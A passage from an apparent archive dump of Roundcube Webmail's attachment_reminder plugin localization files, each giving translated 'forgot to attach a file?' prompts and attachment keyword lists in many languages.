 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "ئایا لەبیرت کرد پەڕگەیەک هاوپێچ بکەی؟";
$messages['reminderoption'] = "بیرهێنانەوە دەربارەی هاوپێچە لەبیرکراوەکان";
PKh�\G���2plugins/attachment_reminder/localization/eu_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Eranskina falta da?";
$messages['forgotattachment'] = "Ahaztu zaizu fitxategia eranstea?";
$messages['reminderoption'] = "Ohartarazi ahaztutako erankinez";
$messages['keywords'] = "eranskin,fitxategia,erantzi,erantzita,eransten,atxikita";
PKh�\�S[��2plugins/attachment_reminder/localization/tr_TR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Dosya eklemeyi unuttunuz mu?";
$messages['forgotattachment'] = "Dosya eklemeyi mi unuttunuz?";
$messages['reminderoption'] = "Dosya ekleme unutulduysa hatırlatılsın";
$messages['keywords'] = "ek,dosya,ekle,ekte,ekledim,ekteki,CV,mektup";
PKh�\��r��2plugins/attachment_reminder/localization/es_AR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "¿Adjunto olvidado?";
$messages['forgotattachment'] = "¿Te olvidaste de adjuntar un archivo?";
$messages['reminderoption'] = "Recordar sobre archivos adjuntos olvidados";
$messages['keywords'] = "adjunto,archivo,adjuntar,adjuntado,adjuntando,CV";
PKh�\{8����/plugins/attachment_reminder/localization/ku.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Te ji bîr kir da pelekê pêve bikî?";
$messages['reminderoption'] = "Pêvekên jibîrkirî bi bîr bixe";
$messages['keywords'] = "pêvek, pel, pêve bike, pêvekirî, pêve dike, rapêçandî, CV, tîpa bergê";
PKh�\���t2plugins/attachment_reminder/localization/pt_BR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Faltando anexo?";
$messages['forgotattachment'] = "Você esqueceu-se de anexar um arquivo?";
$messages['reminderoption'] = "Alertar sobre o possível esquecimento de anexos";
$messages['keywords'] = "anexo,arquivo,anexar,anexado,anexando,incluso,currículo,carta de apresentação";
PKh�\�5��2plugins/attachment_reminder/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Trūkst pielikums?";
$messages['forgotattachment'] = "Vai Jūs nepiemirsāt pievienot failu?";
$messages['reminderoption'] = "Atgādināt par nepievienotajiem pielikumiem";
$messages['keywords'] = "pielikums,fails,pievienot,pielikt,pievienots,pielikts,ievietot,ievietots,CV";
PKh�\��2plugins/attachment_reminder/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Chýbajúca príloha?";
$messages['forgotattachment'] = "Nezabudli ste pridať prílohu?";
$messages['reminderoption'] = "Pripomenúť zabudnuté prílohy";
$messages['keywords'] = "príloha,súbor,pripojiť,priložená,priložený,priložené,v prílohe,životopis,sprievodný list";
PKh�\B�f�2plugins/attachment_reminder/localization/cs_CZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Chybějící příloha?";
$messages['forgotattachment'] = "Nezapomněli jste připojit přílohu?";
$messages['reminderoption'] = "Upozorňovat na zapomenuté přílohy";
$messages['keywords'] = "příloha,přílohy,příloze,přílohu,přiloženém,připojeném,CV,životopis";
PKh�\��P�2plugins/attachment_reminder/localization/nl_BE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Ontbrekende bijlage?";
$messages['forgotattachment'] = "Ben je vergeten een bestand bij te voegen?";
$messages['reminderoption'] = "Herinnering over vergeten bijlagen";
$messages['keywords'] = "bijlage,bestand,bijvoegen,bijvoegen,bijsluiten,CV,sollicitatiebrief";
PKh�\
1�332plugins/attachment_reminder/localization/uk_UA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Ви забули прикріпити файл?";
$messages['reminderoption'] = "Нагадати про забуте вкладення";
$messages['keywords'] = "вкладення,файл,прикріпити,прикріплений,прикріплюю,вкладено,CV,супровідний лист";
PKh�\�Y���2plugins/attachment_reminder/localization/fy_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Hawwo jo ferjitten in bestân ta te heakjen?";
$messages['reminderoption'] = "Herinnerje oer ferjitten taheaksels";
$messages['keywords'] = "bestân,triem,hechtsje,ferbûn,taheak,ynsletten,CV,brief";
PKh�\���2plugins/attachment_reminder/localization/de_CH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Fehlender Anhang?";
$messages['forgotattachment'] = "Haben Sie möglicherweise vergessen eine Datei anzuhängen?";
$messages['reminderoption'] = "Vor vergessenen Anhängen warnen";
$messages['keywords'] = "anbei,anhang,angehängt,angefügt,beigefügt,beiliegend";
PKh�\�c<��3plugins/attachment_reminder/localization/es_419.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "¿Has olvidado adjuntar un archivo?";
$messages['reminderoption'] = "Recordar si olvido adjuntar archivos";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter";
PKh�\�e�f��/plugins/attachment_reminder/localization/uz.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Ilovani yo‘qotdingizmi?";
$messages['forgotattachment'] = "Ilova faylini unutdingizmi?";
$messages['reminderoption'] = "Unutilgan ilovalar haqida eslatish";
$messages['keywords'] = "ilova,fayl,ilovalash,ilova qilindi,ilova qilinmoqda,yopilgan,CV,xatjild";
PKh�\�M���2plugins/attachment_reminder/localization/en_CA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Missing attachment?";
$messages['forgotattachment'] = "Did you forget to attach a file?";
$messages['reminderoption'] = "Remind about forgotten attachments";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter";
PKh�\�%[��2plugins/attachment_reminder/localization/zh_TW.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "是否遺漏了附件?";
$messages['forgotattachment'] = "似乎忘記加入附件,確定要寄出嗎?";
$messages['reminderoption'] = "提醒加入附件";
$messages['keywords'] = "附件,檔案,附加,附檔,附上,履歷,封面";
PKh�\p_�]��2plugins/attachment_reminder/localization/ca_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Hi falta l'adjunt?";
$messages['forgotattachment'] = "Us heu oblidat afegir un fitxer?";
$messages['reminderoption'] = "Recordatori de fitxers adjunts oblidats";
$messages['keywords'] = "adjunt,fitxer,adjunta,adjuntat,adjuntant,delimitat,CV,carta";
PKh�\Slp/plugins/attachment_reminder/localization/ia.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Attachamento mancante?";
$messages['forgotattachment'] = "Ha vos oblidate de attachar un file?";
$messages['reminderoption'] = "Rememorar de attachamentos oblidate";
$messages['keywords'] = "attachamento,file,attachar,attachate,attachante,annexo,annexe,annexate,CV,curriculo de vita";
PKh�\`/��2plugins/attachment_reminder/localization/bs_BA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Da li ste zaboravili da dodate ovu datoteku?";
$messages['reminderoption'] = "Napomene o zaboravljenim prilozima";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter,prilog,biografija,popratno pismo,prilogu,popratnom pismu,datoteka,fajl";
PKh�\�RR2plugins/attachment_reminder/localization/ru_RU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Забыли вложение?";
$messages['forgotattachment'] = "Вы не забыли прикрепить файл?";
$messages['reminderoption'] = "Напоминать о забытых вложениях";
$messages['keywords'] = "вложение,файл, вложенный, прикрепленный,резюме,документ";
PKh�\��}�2plugins/attachment_reminder/localization/fa_IR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "آیا شما پیوست کردن پرونده را فراموش کرده‌اید؟";
$messages['reminderoption'] = "یادآوری فراموشی پیوست‌ها";
$messages['keywords'] = "پیوست،پرونده،پیوست کردن، پیوست شده، CV";
PKh�\dq��2plugins/attachment_reminder/localization/is_IS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Vantar viðhengi?";
$messages['forgotattachment'] = "Gleymdirðu að hengja við skrá?";
$messages['reminderoption'] = "Minna á viðhengi sem gleymast";
$messages['keywords'] = "viðhengi,skrá,hengja við,innfellt,CV,meðfylgjandi,ferilskrá,mynd";
PKh�\��G2plugins/attachment_reminder/localization/vi_VN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Bạn đã quên không đính kèm tệp tin?";
$messages['reminderoption'] = "Nhắc về tệp tin đính kèm bị quên";
$messages['keywords'] = "tệp đính kèm,tệp tin,đính kèm,đã đính kèm,đang đính kèm tập tin,đính kèm,CV,thư mở đầu";
PKh�\6�F�))2plugins/attachment_reminder/localization/ar_SA.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "المرفق مفقود ؟";
$messages['forgotattachment'] = "هل نسيت إرفاق ملف؟";
$messages['reminderoption'] = "تذكير حول المرفقات المنسية";
$messages['keywords'] = "المرفقات,الملف,ارفاق,مرفق,ارفاق,مضمون,CV,صفحة المغلف";
PKh�\h(;���2plugins/attachment_reminder/localization/az_AZ.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Faylı əlavə etməyi unutdunuz?";
$messages['reminderoption'] = "Unudulmuş qoşmalardan xəbərdar et";
$messages['keywords'] = "qoşmalar,fayl,qoşma,qoşulub,qoşulur,qapalı,CV,qoşma məktub";
PKh�\Zou2plugins/attachment_reminder/localization/id_ID.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Kehilangan lampiran?";
$messages['forgotattachment'] = "Apakah anda lupa melampirkan sebuah file?";
$messages['reminderoption'] = "Ingatkan tentang lampiran yang terlupakan";
$messages['keywords'] = "lampiran, file, terlampir, dilampirkan, melampirkan, lampiran tertutup, CV, sampul surat";
PKh�\��2plugins/attachment_reminder/localization/hu_HU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Hiányzó csatolmány?";
$messages['forgotattachment'] = "Nem felejtetted el a csatolandó file-t?";
$messages['reminderoption'] = "Emlékeztessen a csatolandó csatolmányra";
$messages['keywords'] = "csatolmány, file, csatolás, csatolt, csatolni, közrezárt, CV, kisérőlevél";
PKh�\�2��2plugins/attachment_reminder/localization/ro_RO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Lipsă atașament?";
$messages['forgotattachment'] = "Ați uitat să atașati ?";
$messages['reminderoption'] = "Adu-mi aminte de atașamente";
$messages['keywords'] = "atașament,atasament,atas,atasat,ataș,attach,fisier,fișier,attach,atach,attache";
PKh�\[�EE2plugins/attachment_reminder/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Pièce jointe manquante ?";
$messages['forgotattachment'] = "Avez-vous oublié de joindre un fichier ?";
$messages['reminderoption'] = "Rappel sur les pièces jointes oubliées";
$messages['keywords'] = "pièce jointe,fichier joint,fichier,joindre,joins,joint,attaché,inclus,ci-inclus,CV, lettre d’accompagnement, PJ, P.J";
PKh�\�#a���2plugins/attachment_reminder/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Nedostaje privitak?";
$messages['forgotattachment'] = "Jeste li zaboravili dodati privitak?";
$messages['reminderoption'] = "Podsjeti na zaboravljen privitak";
$messages['keywords'] = "privitak,datoteka,dodati,dodano,dodajem,u privitku,CV,motivacijsko pismo";
PKh�\�%V���2plugins/attachment_reminder/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "Brakujący załącznik?";
$messages['forgotattachment'] = "Czy nie zapomniałeś załączyć pliku?";
$messages['reminderoption'] = "Włącz przypominanie o brakującym załączniku";
$messages['keywords'] = "załącznik,plik,załącz,CV";
PKh�\h	_�2plugins/attachment_reminder/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['missingattachment'] = "添付ファイルを忘れてませんか?";
$messages['forgotattachment'] = "ファイルの添付を忘れていませんか?";
$messages['reminderoption'] = "添付ファイルの付け忘れを確認";
$messages['keywords'] = "添付,ファイル,添付ファイル,同封,添え状";
PKh�\V�ذ��0plugins/attachment_reminder/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "¿Escaecisti axuntar un ficheru?";
$messages['reminderoption'] = "Recordar alrodiu d'axuntos escaecíos";
$messages['keywords'] = "axuntu,ficheru,axuntar,axuntáu,axuntando,axuntao,axuntada,CV,carta de presentación";
PKh�\���ɬ�0plugins/attachment_reminder/localization/kab.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Tettuḍ ad t-tessedduḍ afaylu?";
$messages['reminderoption'] = "Smekti af imeddayen yettwattun";
$messages['keywords'] = "amedday,afaylu,seddu,yeddan,aseddu,yedda,CV,tabratt";
PKh�\/�a)ee2plugins/attachment_reminder/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Да ли сте заборавили да приложите фајл?";
$messages['reminderoption'] = "Подсетник на заборављене прилоге";
$messages['keywords'] = "attachment,file,attach,attached,attaching,enclosed,CV,cover letter,прилог,фајл,приложи,приложен,прилажем,пропратно писмо";
PKh�\��S2plugins/attachment_reminder/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Hues du vergiess e Fichier drunzehänken?";
$messages['reminderoption'] = "U vergiessen Unhäng erënneren";
$messages['keywords'] = "Attachment,Fichier,Unhank,Unhang,Unhäng,ugehaangen,unhänken,attachment,file,attach,attached,attaching,enclosed,CV,cover letter,fichier joint";
PKh�\^5�[NN2plugins/attachment_reminder/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "آیا فراموش کردید که فایل را الصاق کرده اید؟";
$messages['reminderoption'] = "یاد آوری درمورد ضمایم فراموش شده";
$messages['keywords'] = "ضمیمه،فایل،ضمیمه کردن،ضمیمه شده،در حال ضمیمه کردن، الصاق شده،CV، عنوان نامه";
PKh�\�|f ��/plugins/attachment_reminder/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Disonjet ho peus stagan er restr ?";
$messages['reminderoption'] = "Adgalv war ar pezhiou stag disonjet";
$messages['keywords'] = "pezh stag, restr, stagan, aman staget, stagit, ouzhpenan, CV, lizher youl";
PKh�\u��??2plugins/attachment_reminder/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Archive plugin             |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-attachment_reminder/
*/

$messages['forgotattachment'] = "Дали заборави да прикачиш датотека ?";
$messages['reminderoption'] = "Потсети за заборавени прикачувања ";
